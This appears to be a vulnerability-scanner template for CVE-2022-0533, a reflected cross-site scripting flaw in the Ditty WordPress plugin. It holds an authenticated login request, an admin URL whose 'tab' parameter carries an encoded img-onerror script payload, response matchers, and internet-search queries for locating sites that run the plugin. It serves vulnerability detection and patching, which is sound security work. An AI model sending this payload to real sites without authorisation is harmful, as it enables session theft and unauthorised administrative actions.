Ditty (formerly Ditty News Ticker) < 3.0.15 - Cross-Site Scripting

id: CVE-2022-0533

info:
  name: Ditty (formerly Ditty News Ticker) < 3.0.15 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The Ditty (formerly Ditty News Ticker) WordPress plugin before 3.0.15 is affected by a Reflected Cross-Site Scripting (XSS) vulnerability.
  impact: |
    Authenticated attackers can inject malicious JavaScript via the tab parameter, potentially stealing administrator session cookies or performing administrative actions.
  remediation: upgrade to v.3.0.15
  reference:
    - https://wpscan.com/vulnerability/40f36692-c898-4441-ad24-2dc17856bd74
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0533
    - https://vulners.com/cve/CVE-2022-0533
    - https://plugins.trac.wordpress.org/changeset/2675223/ditty-news-ticker
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0533
    cwe-id: CWE-79
    epss-score: 0.01857
    epss-percentile: 0.76543
    cpe: cpe:2.3:a:metaphorcreations:ditty:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: metaphorcreations
    product: ditty
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/ditty-news-ticker/
    fofa-query: body=/wp-content/plugins/ditty-news-ticker/
    publicwww-query: "/wp-content/plugins/ditty-news-ticker/"
  tags: cve,cve2022,xss,ditty-news-ticker,wp,wordpress,wpscan,wp-plugin,authenticated,metaphorcreations,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/edit.php?post_type=ditty&page=ditty_settings&tab=%22%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains_all(body_2, "<img src onerror=alert(document.domain)>", "ditty")'
        condition: and
# digest: 4b0a004830460221008045f3805dcfd51ba2375b778e239f40cc82f6039292edbd2d0b184c7dc4feb4022100d71928e9a5fd0e193cb726175d25d65ab4545fb3884fd061f5277c1a880497da:922c64590222798bb761d5b6d8e72950